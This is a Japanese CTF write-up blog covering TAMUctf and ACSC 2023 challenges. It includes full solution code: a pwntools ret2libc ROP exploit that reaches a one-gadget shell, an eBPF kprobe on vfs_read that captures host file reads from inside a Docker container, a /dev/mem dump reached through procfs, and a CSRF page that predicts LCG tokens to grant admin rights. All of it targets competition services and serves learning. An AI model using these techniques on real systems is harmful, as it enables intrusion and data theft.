gigem{w3_L0v3_pL1y1n_MC_SMP}

[Forensics 486] MCFS (20 solves)

The size of a Minecraft world is 60,000,000 * 60,000,000 * 384 blocks. If 256 different blocks are chosen to represent a byte of data, this means that a Minecraft world could store roughly 1.2 exabytes of data. Naturally, this must mean that Minecraft is the best storage system in terms of capacity, so I have decided to start storing my files in my world. Have fun recovering them!

Note: The file size is 8MB

添付ファイル: mcfs.zip

添付ファイルを展開すると、Minecraftのワールドデータが格納されている world というディレクトリと、mcfs.jar とが出てきた。jadx-guimcfs.jar をデコンパイルする。一番重要なのは次のメソッドだ。このコマンドに第1引数として与えられたファイルを読み出して、一定間隔でワールドへブロックを設置している。設置されるブロックの種類はファイルの内容に基づいている。

    public boolean onCommand(CommandSender sender, Command command, String label, String[] args) {
        if (args.length != 1) {
            return false;
        }
        ((Player) sender).getWorld().setGameRule(GameRule.DO_DAYLIGHT_CYCLE, false);
        ((Player) sender).getWorld().setGameRule(GameRule.RANDOM_TICK_SPEED, 0);
        Hashtable<Integer, Tag<Material>> tagBlacklist = new Hashtable<>();
        tagBlacklist.put(1, Tag.ENDERMAN_HOLDABLE);
        tagBlacklist.put(2, Tag.BAMBOO_PLANTABLE_ON);
        tagBlacklist.put(4, Tag.SNOW);
        Hashtable<Integer, Material> materialHashMap = new Hashtable<>();
        Iterator<Material> materials = Arrays.stream(Material.values()).iterator();
        int i = 0;
        while (materialHashMap.size() < 256 && materials.hasNext()) {
            Material material = materials.next();
            if (material.isSolid() && !material.hasGravity() && !material.isInteractable() && !material.equals(Material.FARMLAND) && !isTagged(tagBlacklist, material)) {
                materialHashMap.put(Integer.valueOf(i), material);
                i++;
            }
        }
        byte[] fileBytes = new byte[0];
        try {
            fileBytes = Files.readAllBytes(Paths.get(args[0], new String[0]));
        } catch (IOException e) {
            e.printStackTrace();
        }
        int byteIndex = 0;
        int row = 0;
        while (true) {
            for (int x = 0; x < 256; x++) {
                for (int y = 0; y < 256; y++) {
                    for (int z = 0; z < 16; z++) {
                        try {
                            if (byteIndex > fileBytes.length - 1) {
                                return true;
                            }
                            ((Player) sender).getWorld().getBlockAt(0 + x, CHUNKHEIGHT - y, 0 + (16 * row) + z).setType(materialHashMap.get(Integer.valueOf(Byte.toUnsignedInt(fileBytes[byteIndex]))));
                            byteIndex++;
                        } catch (Exception e2) {
                            e2.printStackTrace();
                            return true;
                        }
                    }
                }
            }
            row++;
        }
    }

添付されたワールドに設置されているブロックをもとに、書き込まれたファイルを復元するBukkitプラグインを作ろう。以下のようなコードができあがる。

package com.example.testplugin;

import org.bukkit.plugin.java.JavaPlugin;

import java.io.BufferedOutputStream;
import java.io.FileOutputStream;
import java.util.Arrays;
import java.util.Enumeration;
import java.util.List;
import java.util.Hashtable;
import java.util.Iterator;

import org.bukkit.Bukkit;
import org.bukkit.GameRule;
import org.bukkit.Material;
import org.bukkit.Server;
import org.bukkit.Tag;
import org.bukkit.World;

public final class Testplugin extends JavaPlugin {
    public static final int CHUNKSIZE = 16;
    public static final int CHUNKHEIGHT = 256;
    public static final int BLOCKLEN = 16;
    public static final int X = 0;
    public static final int Z = 0;

    @Override
    public void onEnable() {
        Server server = Bukkit.getServer();
        List<World> worlds = server.getWorlds();
        getLogger().info("worlds size " + worlds.size());
        World world = worlds.get(0);

        world.setGameRule(GameRule.DO_DAYLIGHT_CYCLE, false);
        world.setGameRule(GameRule.RANDOM_TICK_SPEED, 0);

        Hashtable<Integer, Tag<Material>> tagBlacklist = new Hashtable<>();
        tagBlacklist.put(1, Tag.ENDERMAN_HOLDABLE);
        tagBlacklist.put(2, Tag.BAMBOO_PLANTABLE_ON);
        tagBlacklist.put(4, Tag.SNOW);
        Hashtable<Material, Integer> materialHashMap = new Hashtable<>();
        Iterator<Material> materials = Arrays.stream(Material.values()).iterator();

        int i = 0;
        while (materialHashMap.size() < 256 && materials.hasNext()) {
            Material material = materials.next();
            if (material.isSolid() && !material.hasGravity() && !material.isInteractable() && !material.equals(Material.FARMLAND) && !isTagged(tagBlacklist, material)) {
                materialHashMap.put(material, Integer.valueOf(i));
                i++;
            }
        }

        int row = 0;

        BufferedOutputStream file;
        try {
            file = new BufferedOutputStream(new FileOutputStream("../test.bin"));
        } catch (Exception e2) {
            e2.printStackTrace();
            return;
        }

        getLogger().info("start");
        while (true) {
            for (int x = 0; x < 256; x++) {
                for (int y = 0; y < 256; y++) {
                    for (int z = 0; z < 16; z++) {
                        try {
                            Material type = world.getBlockAt(0 + x, CHUNKHEIGHT - y, 0 + (16 * row) + z).getType();
                            Integer byte_ = materialHashMap.getOrDefault(type, 0);
                            file.write(byte_ & 0xFF);
                        } catch (Exception e2) {
                            e2.printStackTrace();
                            return;
                        }
                    }
                }
            }

            row++;
            if (row > 100) {
                break;
            }
        }

        try {
            file.close();
        } catch (Exception e2) {
            e2.printStackTrace();
            return;
        }

        getLogger().info("done");
    }

    private boolean isTagged(Hashtable<Integer, Tag<Material>> blacklist, Material material) {
        Enumeration<Integer> e = blacklist.keys();
        while (e.hasMoreElements()) {
            int key = e.nextElement().intValue();
            if (blacklist.get(Integer.valueOf(key)).isTagged(material)) {
                return true;
            }
        }
        return false;
    }
}

出来上がったプラグインを java -Xms1G -Xmx4G -jar spigot-1.20.4.jar nogui -P ../mcfs/test-mod/testplugin/target/ のようにして読み込む。無事にファイルの抽出ができたようだ。

…
[06:01:45] [Server thread/INFO]: [testplugin] Enabling testplugin v1.0-SNAPSHOT
[06:01:45] [Server thread/INFO]: [testplugin] worlds size 3
[06:01:45] [Server thread/INFO]: [testplugin] start
[06:02:42] [Server thread/INFO]: [testplugin] done
…

どうやらext4のファイルシステムらしい。

$ file test.bin
test.bin: Linux rev 1.0 ext4 filesystem data, UUID=95d1e1d8-3450-4c20-a97f-c1ca7da5d292 (extents) (64bit) (large files) (huge files)

FTK Imagerで開き、これに含まれていた flag.tar.gz を取り出す。これにフラグが含まれていた。

gigem{r3curs1v3_f1l3_st0rag3}

[Misc 499] Scavenging (7 solves)

Look around, see what you can find!

Note: File uploads for this challenge are not necessary; you can complete it with the binaries provided.

openssl s_client -connect tamuctf.com:443 -servername scavenging

問題サーバに接続すると、次のようなシェルスクリプトが出力された後にシェルが立ち上がった。なるほど、この外側に出ればよいらしい。

#!/bin/sh

ls -alh /init
cat /init

mount -t ramfs -o size=32m ramfs /mnt
cp -ra /inner/* /mnt/

exec switch_root /mnt /bin/sh

私が問題を見た時点で、pr0xyさんによって mount -t proc none /proc/ でprocfsがマウントできるとわかっていた。procfsから何かしらの情報が得られないか見ていると、ls -la /proc/*/root/ をしたときになぜかPIDが 18 のプロセスでは /dev/ を指していることがわかった。

~ # ls -la /proc/18/root/
ls -la /proc/18/root/
total 0
drwxr-xr-x    7 0        0             2260 Apr  6 22:46 .
drwxr-xr-x    7 0        0             2260 Apr  6 22:46 ..
crw-r--r--    1 0        0          10, 235 Apr  6 22:46 autofs
drwxr-xr-x    2 0        0               60 Apr  6 22:46 bsg
crw-------    1 0        0           5,   1 Apr  6 22:46 console
drwxr-xr-x    3 0        0               60 Apr  6 22:46 cpu
crw-------    1 0        0          10, 126 Apr  6 22:46 cpu_dma_latency
crw-rw-rw-    1 0        0           1,   7 Apr  6 22:46 full
…

この中には mem も含まれている。ramfsらしいので /dev/mem にフラグが載っていないかと考えた。安直だと思いつつやってみると、フラグが得られてしまった。

~ # mount -t proc none /proc/
~ # mkdir /tmp
~ # dd if=/proc/18/root/mem of=/tmp/poyo bs=1 skip=$((0x6000000)) count=$((0x10000000))
~ # cd /tmp
/tmp # strings -n 8 poyo | grep "gigem"
gigem{now_where_did_that_come_from_exactly}
gigem{now_where_did_that_come_from_exactly}

[Misc 499] Over The Shoulder (7 solves)

You are given a shell inside a docker container. The host running docker does cat /home/user/flag.txt once per minute. Read the flag.

openssl s_client -connect tamuctf.com:443 -servername over-the-shoulder

問題サーバに接続するとシェルが立ち上がった。問題文からコンテナエスケープ問だとわかる。まず環境を確認すると、どうやらAlpine Linux 3.19らしいとわかった。

$ uname -a
Linux 6f796d151145 6.7.9-200.fc39.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Mar  6 19:35:04 UTC 2024 x86_64 Linux
$ cat /etc/os-release
NAME="Alpine Linux"
ID=alpine
VERSION_ID=3.19.1
PRETTY_NAME="Alpine Linux v3.19"
HOME_URL="https://alpinelinux.org/"
BUG_REPORT_URL="https://gitlab.alpinelinux.org/alpine/aports/-/issues"

pr0xyさんがScavengingで試されていた方法を見つつ、付与されているcapabilityを見ていく。色々あるけれども cap_perfmoncap_bpf が気になった。

問題文では cat /home/user/flag.txt がホスト側で定期的に実行されていると言っているけれども、もっと派手なエスケープができる(つまり、ホスト側でシェルを奪える)のであればわざわざそんなことを言う必要がない。その情報に関連することができるのではないか、たとえばBPFプログラムでカーネルでの処理にフックして、cat /home/user/flag.txt で読み出されている内容を盗み取ることができるのではないかと考えた。

$ grep Cap /proc/1/status
CapInh: 0000000000000000
CapPrm: 000000c0a80425fb
CapEff: 000000c0a80425fb
CapBnd: 000000c0a80425fb
CapAmb: 0000000000000000
$ capsh --decode=000000c0a80425fb
0x000000c0a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap,cap_perfmon,cap_bpf

別途、手元での検証やBPFを使ったプログラムのビルド用にAlpine Linuxの環境を用意する。適当に masmullin2000/libbpf-sample をベースとしつつ書いていく。並行してコンテナエスケープの色々な資料を読んでいると、kprobeで vfs_read にフックする手法を見つけた。これをやってみよう。

コードは次の通り。

~/libbpf-sample/c/simple # cat exec.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/resource.h>

#include "exec.skel.h"

int main(void)
{
    struct exec *skel = exec__open_and_load();
    exec__attach(skel);

    for(;;) {
    }
    return 0;
}
~/libbpf-sample/c/simple # cat exec.bpf.c
#include "vmlinux.h"
#include <bpf/bpf_helpers.h>

SEC("kprobe/vfs_read")
int BPF_KPROBE(struct pt_regs *ctx, struct file *fd, const char *buf, size_t count)
{
    char s[128];
    bpf_probe_read(s, 128, (void *)ctx->r13);
    bpf_printk("vfs_read %s\n", s);
    return 0;
}

char LICENSE[] SEC("license") = "neko";

これをビルドする。問題サーバの環境ではネットワークへの接続ができないために、できあがったバイナリや共有ライブラリを .tar.gz に固め、Base64エンコードして問題サーバの環境へ持っていく*2。このバイナリを実行しつつ、/sys/kernel/tracing/trace_pipe から bpf_printk の出力を見る。

touch a.txt
# base64 -w900 a.tar.gz | xargs -i echo 'echo "{}" >> a.txt' > tmp.txt でtmp.txtに出力されたコマンドを実行。a.txtにBase64エンコードされた.tar.gzを書き込む
base64 -d a.txt > a.tar.gz
tar zxvf a.tar.gz
mv usr/lib/libbpf.so.1.3.0 /usr/lib/libbpf.so.1
mv usr/lib/libelf-0.190.so /usr/lib/libelf.so.1
mv usr/lib/libzstd.so.1.5.5 /usr/lib/libzstd.so.1

echo 'r:vfs_read vfs_read' >> /sys/kernel/tracing/kprobe_events
./exec &
grep cat /sys/kernel/tracing/trace_pipe &

しばらく待つと、フラグが出力された。

tk: vfs_read
            grep-1086    [000] ...21   131.003332: bpf_trace_printk: vfs_read             grep-1086    [000] ...21   131.003324: bpf_trace_printk: vfs_read            socat-1047    [000] ...21   131.001301:
            grep-1086    [000] ...21   131.003333: bpf_trace_printk: vfs_read             grep-1086    [000] ...21   131.003324: bpf_trace_printk: vfs_read            socat-1047    [000] ...21   131.001301:
           socat-1047    [000] ...21   131.004301: bpf_trace_printk: vfs_read
             cat-1108    [000] ...21   130.989598: bpf_trace_printk: vfs_read gigem{this_aint_your_mamas_shoulder_surfing}
           socat-1047    [000] ...21   131.004301: bpf_trace_printk: vfs_read
             cat-1108    [000] ...21   130.989598: bpf_trace_printk: vfs_read gigem{this_aint_your_mamas_shoulder_surfing}
            grep-1086    [000] ...21   131.006318: bpf_trace_printk: vfs_read            socat-1047    [000] ...21   131.004301: bpf_trace_printk: vfs_read
             cat-1108    [000] ...21   130.989598
gigem{this_aint_your_mamas_shoulder_surfing}

*1:"10 hex characters" ではないが…

*2:既視感がある

Asian Cyber Security Challenge (ACSC) CTF 2023 writeup

はじめに

ACSC 2023

タイトルはミスではない。今年開催されたACSC 2024のwriteupはすでに書いている。去年のACSC 2023への参加時に、運営への提出用として英語のかんたんwriteupは書いたのだけれども、ちゃんとしたものは書いていないし、そもそも英語版すら公開はしていなかった。それがずっと心残りだったので、かんたんwriteupではある*1が放流したい。

総合順位では19位、eligibleなプレイヤーの中では17位だった。また、日本国内のeligibleなプレイヤーに限っても3位だった。かなり危ない順位だったし、実際当落線上にいて、インドのプレイヤーが参加できていた場合には私はInternational Cybersecurity Challenge(ICC)へ進めなかったはず。ACSC 2023の終了後には沈んでいたのを思い出す。

ICC 2023

サンディエゴで開催されたICC 2023では、チームアジアのスターティングメンバーとして参加し、そのまま1日目のJeopardyも2日目のAttack&Defense(A&D)も終日出ていた。JeopardyはMetaCTFの作問で、writeupの公開が禁止されているのであまり言及できないけれども、エスパー問やらブラックボックス問やらばかりだったという印象がある。

A&Dは面白い問題だったが、あるチームが終盤に「SLAをチェックするためのbotにのみ正規のフラグを返し、botが一度フラグを参照した後は偽フラグを返すようにする」という「対策」を取り始め、運営もそれを許すという有り様だった。なお、A&Dの問題は公開されているのでそちらも参照されたい。

Jeopardyは4位、A&DがICC 2022に引き続き1位で、これらがあわさって総合順位は3位という結果だった。


[Crypto 50] Merkle Hellman (193 solves)

We tired of RSA, try a new cryptosystem by merkle and hellman but we don't know how to decrypt the ciphertext.

We need your help for decrypt the ciphertext to get back my flag.txt!

1文字ずつブルートフォースで暗号化を試して、暗号文と一致していれば場合にその文字を採用するという形で解いた。

#!/usr/bin/env python3
import random
import binascii

def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = egcd(b % a, a)
        return (g, x - (b // a) * y, y)

def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        raise Exception('modular inverse does not exist')
    else:
        return x % m

def gcd(a, b): 
    if a == 0: 
        return b 
    return gcd(b % a, a) 

flag = open("flag.txt","rb").read()
# Generate superincreasing sequence
w = [random.randint(1,256)]
s = w[0]
for i in range(6):
    num = random.randint(s+1,s+256)
    w.append(num)
    s += num

# Generate private key
total = sum(w)
q = random.randint(total+1,total+256)
r = 0
while gcd(r,q) != 1:
    r = random.randint(100, q)

# Calculate public key
b = []
for i in w:
    b.append((i * r) % q)
    
b = [7352, 2356, 7579, 19235, 1944, 14029, 1084]
w, q = ([184, 332, 713, 1255, 2688, 5243, 10448], 20910)

flag = b'ACSC{DUMMY}'

c = [8436, 22465, 30044, 22465, 51635, 10380, 11879, 50551, 35250, 51223, 14931, 25048, 7352, 50551, 37606, 39550]

# Decrypting
flag = ''
for x in c:
    for f in range(0x20, 0x7f):
        s = 0
        for i in range(7):
            if f & (64>>i):
                s += b[i]
        if s == x:
            flag += chr(f)


print(flag)
ACSC{E4zY_P3@zy}

[Forensics 50] pcap-1 (68 solves)

Here is a packet capture of my computer when I was preparing my presentation on Google Slides. Can you reproduce the contents of the slides?

Note: If you find a "fake flag", submit it here. Some text next to the flag says that it is not accepted, but now it is. There are 2 flags in the challenge, and both are accepted. Part 1 accepts the flag that is easier to get.

USB HIDのパケットが流れているpcapが渡される。1.12.1 がキーボードの入力をしているように見えたので、usb.addr == 1.12.1 && usbhid.data.array.usage でフィルターしつつ手作業でなんとかした。

ACSC{f0r3ns1cs_is_s0_fun}

[Pwn 50] Vaccine (115 solves)

Give me the correct vaccine to view my secret

nc vaccine.chal.ctf.acsc.asia 1337
nc vaccine-2.chal.ctf.acsc.asia 1337 (Backup)

単純なBOFがあり、これでRIPが奪える。

$ echo -en "\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBCCCCCCCC" > input

ということで、次のような手順のexploitを書く。

  1. puts のアドレスをリークさせて、libcのベースアドレスを計算する
  2. main へ飛ばしてもう一度BOF(ret2vuln)
  3. One-Gadget RCEへ飛ばす

できあがったexploitがこちら。

from pwn import *
elf = ELF('./vaccine')
libc = ELF('./libc-2.31.so')

pop_rdi = 0x401443
pop_rsi_r15 = 0x401441

s = remote('vaccine.chal.ctf.acsc.asia', 1337)

###

s.recvuntil(b'Give me vaccine: ')

payload1 = b'\x00' + b'A' * 111
payload1 += b'\x00' + b'A' * 111
payload1 = payload1.ljust(264, b'B')

payload1 += p64(pop_rdi)
payload1 += p64(elf.got['puts'])
payload1 += p64(elf.symbols['puts'])

payload1 += p64(elf.symbols['main'])

s.sendline(payload1)
s.recvline()
s.recvline()

addr = s.recvline()[:-1]
puts = u64(addr.ljust(8, b'\0'))
libc_base = puts - libc.symbols['puts']

###

s.recvuntil(b'Give me vaccine: ')

payload2 = b'\x00' + b'A' * 111
payload2 += b'\x00' + b'A' * 111
payload2 = payload2.ljust(264, b'B')

payload2 += p64(libc_base + 0xe3b01) # One-Gadget RCE 

payload2 += p64(pop_rdi)
payload2 += p64(0)
payload2 += p64(elf.symbols['exit'])

s.sendline(payload2)

s.interactive()
ACSC{RoP_3@zy_Pe4$y}

[Rev 80] serverless (109 solves)

I made a serverless encryption service. It is so serverless that you should host it yourself.

I encrypted the flag with "acscpass" as the password, but have not finished implementing the decryption feature. Help me decrypt the flag!

MTE3LDk2LDk4LDEwNyw3LDQzLDIyMCwyMzMsMTI2LDEzMSwyMDEsMTUsMjQ0LDEwNSwyNTIsMTI1LDEwLDE2NiwyMTksMjMwLDI1MCw4MiwyMTEsMTAxLDE5NSwzOSwyNDAsMTU4LDE3NCw1OSwxMDMsMTUzLDEyMiwzNiw2NywxNzksMjI0LDEwOCw5LDg4LDE5MSw5MSwxNCwyMjQsMTkzLDUyLDE4MywyMTUsMTEsMjYsMzAsMTgzLDEzMywxNjEsMTY5LDkxLDQ4LDIyOSw5OSwxOTksMTY1LDEwMCwyMTgsMCwxNjUsNDEsNTUsMTE4LDIyNywyMzYsODAsMTE2LDEyMCwxMjUsMTAsMTIzLDEyNSwxMzEsMTA2LDEyOCwxNTQsMTMzLDU1LDUsNjMsMjM2LDY5LDI3LDIwMSwxMTgsMTgwLDc0LDIxMywxMzEsNDcsMjAwLDExNiw1Miw0OSwxMjAsODYsMTI0LDE3OCw5MiwyNDYsMTE5LDk4LDk1LDg2LDEwNCw2NCwzMCw1NCwyMCwxMDksMTMzLDE1NSwxMjIsMTEsODcsMTYsMjIzLDE2MiwxNjAsMjE1LDIwOSwxMzYsMjQ5LDIyMSwxMzYsMjMy

いい感じにメッセージを暗号化できるアプリが渡される。

難読化されたJSで実装されており、これを気合で読んで復号のためのスクリプトを書く必要がある。気合で読むと言っても大した行数ではないので、比較的簡単に読める。RSAとXORの組み合わせだというのは読むとすぐわかる。

import binascii
import base64
from Crypto.Util.number import inverse
from pwn import *

g = [0x9940435684b6dcfe5beebb6e03dc894e26d6ff83faa9ef1600f60a0a403880ee166f738dd52e3073d9091ddabeaaff27c899a5398f63c39858b57e734c4768b7, 0xbd0d6bef9b5642416ffa04e642a73add5a9744388c5fbb8645233b916f7f7b89ecc92953c62bada039af19caf20ecfded79f62d99d86183f00765161fcd71577, 0xa9fe0fe0b400cd8b58161efeeff5c93d8342f9844c8d53507c9f89533a4b95ae5f587d79085057224ca7863ea8e509e2628e0b56d75622e6eace59d3572305b9, 0x8b7f4e4d82b59122c8b511e0113ce2103b5d40c549213e1ec2edba3984f4ece0346ab1f3f3c0b25d02c1b21d06e590f0186635263407e0b2fa16c0d0234e35a3, 0xf840f1ee2734110a23e9f9e1a05b78eb711c2d782768cef68e729295587c4aa4af6060285d0a2c1c824d2c901e5e8a1b1123927fb537f61290580632ffea0fbb, 0xdd068fd4984969a322c1c8adb4c8cc580adf6f5b180b2aaa6ec8e853a6428a219d7bffec3c3ec18c8444e869aa17ea9e65ed29e51ace4002cdba343367bf16fd, 0x96e2cefe4c1441bec265963da4d10ceb46b7d814d5bc15cc44f17886a09390999b8635c8ffc7a943865ac67f9043f21ca8d5e4b4362c34e150a40af49b8a1699, 0x81834f81b3b32860a6e7e741116a9c446ebe4ba9ba882029b7922754406b8a9e3425cad64bda48ae352cdc71a7d9b4b432f96f51a87305aebdf667bc8988d229, 0xd8200af7c41ff37238f210dc8e3463bc7bcfb774be93c4cff0e127040f63a1bce5375de96b379c752106d3f67ec8dceca3ed7b69239cf7589db9220344718d5f, 0xb704667b9d1212ae77d2eb8e3bd3d5a4cd19aa36fc39768be4fe0656c78444970f5fc14dc39a543d79dfe9063b30275033fc738116e213d4b6737707bb2fd287]
h = [0xd4aa1036d7d302d487e969c95d411142d8c6702e0c4b05e2fbbe274471bf02f8f375069d5d65ab9813f5208d9d7c11c11d55b19da1132c93eaaaba9ed7b3f9b1, 0xc9e55bae9f5f48006c6c01b5963199899e1cdf364759d9ca5124f940437df36e8492b3c98c680b18cac2a847eddcb137699ffd12a2323c9bc74db2c720259a35, 0xcbcdd32652a36142a02051c73c6d64661fbdf4cbae97c77a9ce1a41f74b45271d3200678756e134fe46532f978b8b1d53d104860b3e81bdcb175721ab222c611, 0xf79dd7feae09ae73f55ea8aa40c49a7bc022c754db41f56466698881f265507144089af47d02665d31bba99b89e2f70dbafeba5e42bdac6ef7c2f22efa680a67, 0xab50277036175bdd4e2c7e3b7091f482a0cce703dbffb215ae91c41742db6ed0d87fd706b622f138741c8b56be2e8bccf32b7989ca1383b3d838a49e1c28a087, 0xb5e8c7706f6910dc4b588f8e3f3323503902c1344839f8fcc8d81bfa8e05fec2289af82d1dd19afe8c30e74837ad58658016190e070b845de4449ffb9a48b1a7, 0xc351c7115ceffe554c456dcc9156bc74698c6e05d77051a6f2f04ebc5e54e4641fe949ea7ae5d5d437323b6a4be7d9832a94ad747e48ee1ebac9a70fe7cfec95, 0x815f17d7cddb7618368d1e1cd999a6cb925c635771218d2a93a87a690a56f4e7b82324cac7651d3fbbf35746a1c787fa28ee8aa9f04b0ec326c1530e6dfe7569, 0xe226576ef6e582e46969e29b5d9a9d11434c4fcfeccd181e7c5c1fd2dd9f3ff19641b9c5654c0f2d944a53d3dcfef032230c4adb788b8188314bf2ccf5126f49, 0x84819ec46812a347894ff6ade71ae351e92e0bd0edfe1c87bda39e7d3f13fe54c51f94d0928a01335dd5b8689cb52b638f55ced38693f0964e78b212178ab397]

password = b'acscpass'
encrypted = b'MTE3LDk2LDk4LDEwNyw3LDQzLDIyMCwyMzMsMTI2LDEzMSwyMDEsMTUsMjQ0LDEwNSwyNTIsMTI1LDEwLDE2NiwyMTksMjMwLDI1MCw4MiwyMTEsMTAxLDE5NSwzOSwyNDAsMTU4LDE3NCw1OSwxMDMsMTUzLDEyMiwzNiw2NywxNzksMjI0LDEwOCw5LDg4LDE5MSw5MSwxNCwyMjQsMTkzLDUyLDE4MywyMTUsMTEsMjYsMzAsMTgzLDEzMywxNjEsMTY5LDkxLDQ4LDIyOSw5OSwxOTksMTY1LDEwMCwyMTgsMCwxNjUsNDEsNTUsMTE4LDIyNywyMzYsODAsMTE2LDEyMCwxMjUsMTAsMTIzLDEyNSwxMzEsMTA2LDEyOCwxNTQsMTMzLDU1LDUsNjMsMjM2LDY5LDI3LDIwMSwxMTgsMTgwLDc0LDIxMywxMzEsNDcsMjAwLDExNiw1Miw0OSwxMjAsODYsMTI0LDE3OCw5MiwyNDYsMTE5LDk4LDk1LDg2LDEwNCw2NCwzMCw1NCwyMCwxMDksMTMzLDE1NSwxMjIsMTEsODcsMTYsMjIzLDE2MiwxNjAsMjE1LDIwOSwxMzYsMjQ5LDIyMSwxMzYsMjMy'

encrypted = list(int(x) for x in base64.b64decode(encrypted).decode().split(','))
encrypted = list(xor(encrypted[::-1], password))

encrypted = encrypted[::-1]
j, k, s = encrypted[:3]
c = int(''.join([hex(x)[2:].zfill(2) for x in encrypted[3:]]), 16)

p = g[j]
q = h[k]
e = (2 ** (2 ** s)) + 1

n = p * q
d = inverse(e, (p - 1) * (q - 1))
m = hex(pow(c, d, n))[2:]
print(binascii.unhexlify(m))
ACSC{warmup_challenge_so_easy}

[Rev 120] ngo (48 solves)

https://www.youtube.com/watch?v=R0JWMtr7oDw

PEファイルが渡される。実行するとフラグをちょっとずつ出力してくれるけれども、徐々にそのスピードが遅くなる。

>ngo.exe
The flag is "ACSC{yUhFgR

フラグの出力処理はこんな感じ。(これは自分で名付けた関数名だが) aa_ayashii_func が復号のための鍵ストリーム的な役割を果たしているっぽいとわかる。この aa_ayashii_func の呼び出し回数が 42^i 回とループごとに増えていくのが重くなる原因っぽい。

__int64 aa_print_flag()
{
  unsigned __int64 j; // [rsp+28h] [rbp-18h]
  char v2; // [rsp+33h] [rbp-Dh]
  int i; // [rsp+34h] [rbp-Ch]
  unsigned __int64 v4; // [rsp+38h] [rbp-8h]

  sub_140001780();
  maybe_puts("The flag is \"ACSC{");
  v4 = 1LL;
  for ( i = 0; i <= 11; ++i )
  {
    for ( j = 0LL; j < v4; ++j )
      v2 = aa_ayashii_func();
    maybe_putchar((unsigned int)(char)(v2 ^ encrypted_flag[i]));
    v4 *= 42LL;
  }
  maybe_puts("}\".\n");
  return 0LL;
}

aa_ayashii_func はこういう感じ。シンプルだ。x は当然グローバル変数で、初期値は 0x3d2964f0 になっている。ここで返り値が unsigned int と32ビットであることに気づく。つまり、周期は計算可能な程度に小さいはず。

__int64 aa_ayashii_func()
{
  int v1; // [rsp+8h] [rbp-8h]

  v1 = x & 1;
  x = (unsigned int)x >> 1;
  x ^= -v1 & 0x80200003;
  return (unsigned int)x;
}

この鍵ストリームの周期は(たしか) 0xffffffff だった。復号用のコードを書く。

#include <stdio.h>

unsigned char encrypted_flag[] = {
    1, 0x19, 0xEF, 0x5A, 0xFA, 0xC8, 0x2E, 0x69, 0x31, 0xd7, 0x81, 0x21
};

int main(void) {
    long long int v4 = 1;
    unsigned int x = 0x3D2964F0;
    int v1;
    printf("ACSC{");
    for (int i = 0; i <= 11; i++) {
        for (unsigned j = 0; j < (v4 % 0xffffffff); j++) {
            v1 = x & 1;
            x = (unsigned int)x >> 1;
            x ^= -v1 & 0x80200003;
        }

        unsigned char c = x ^ encrypted_flag[i];
        printf("%c", c);
        v4 *= 42;
    }
    puts("}");
}
ACSC{yUhFgRvQ2Afi}

[Hardware 100] Hardware is not so hard (50 solves)

I have captured communication between a SD card and an embedded device. Could you extract the content of the SD Card? It's in SPI mode.

SDカードの読み書きをしている様子をキャプチャしたものが与えられる。

まずここらへんを見る:

読まれているアドレスでソートし、くっつける。

import binascii

s = """
...
"""

def f(x):
    if x[:24] == 'ffffffffffffffffffffffff':
      return x[24:]
    elif x[:18] == 'ffffffffffffffffff':
      return x[18:]
    elif x[:12] == 'ffffffffffff':
      return x[12:]
    return x

ss = [(s[i].split(' : ')[1], s[i+2].split(' : ')[1]) for i in range(0, len(s), 3)]
ss = [(int(x[0][2:], 16), binascii.unhexlify(x[1][x[1].find('fe')+2:-4])) for x in ss]
ss = list(sorted(ss, key=lambda x: x[0]))
print(ss)

with open('a.jpg', 'wb') as f:
   for x in ss:
       f.write(x[1])
ACSC{1tW@sE@syW@snt1t}

[Web 120] Admin Dashboard (66 solves)

I built my first website, admin dashboard with bootstrap and PHP!
Feel free to try it! Hope there is no bug..

/addadmin に対しCSRFさせるスクリプトをadmin botに踏ませることでadminであるユーザを増やそうにも、以下のようにCSRFトークンがある。また、ログイン状態を保持するCookieは SameSite 属性でLaxが指定されているためにやや厳しそうだが、a 要素のリンクを踏ませる場合ならばほかのオリジンからのアクセスでもCookieは飛ぶし、/addadmin はGETで受け付けてくれるから、それで問題ない。

$_REQUEST['csrf-token'] === gmp_strval($_SESSION['X'],16)

CSRFトークンは次のようにLCGで実装されているので、実は推測可能だ。適当なスクリプトを使って(mitsuさんありがとう!)LCGに関連するパラメータを突き止めると、A39238395068069510873877941548003979614 で、C163462177865055857243861130640161174000 であるとわかった。

<?php$sql = "SELECT * FROM secrets";
    $stmt = $conn->prepare($sql);
    $stmt->execute();
    $result = $stmt->get_result();
    $row = $result->fetch_assoc();
    if($row){
        $A = gmp_import($row['A']);
        $C = gmp_import($row['C']);
        $M = gmp_init("0xc4f3b4b3deadbeef1337c0dedeadc0dd");
    }
    if (!isset($_SESSION['X'])){
        $X = gmp_import($_SESSION["user"]["username"]);
        $_SESSION['X'] = gmp_mod(gmp_add(gmp_mul($A, $X),$C),$M);
        $_SESSION["token-expire"] = time() + 30; 
    }else{
        if(time() >= $_SESSION["token-expire"]){
            $_SESSION['X'] = gmp_mod(gmp_add(gmp_mul($A, $_SESSION['X']),$C),$M);
            $_SESSION["token-expire"] = time() + 30; 
        }
    }

あとはやるだけ。次のWebページを通報すればadminになれる。

<a href="http://localhost/addadmin?username=nekochan22&password=nekochan&csrf-token=1fe69abb084e42434627a84405d722e0" id="a">aaa</a>
<script>
document.getElementById('a').click()
</script>
ACSC{C$rF_15_3VerYwh3Re!}

[Web 200] easySSTI (42 solves)

Can you SSTI me?

service
service (Backup)

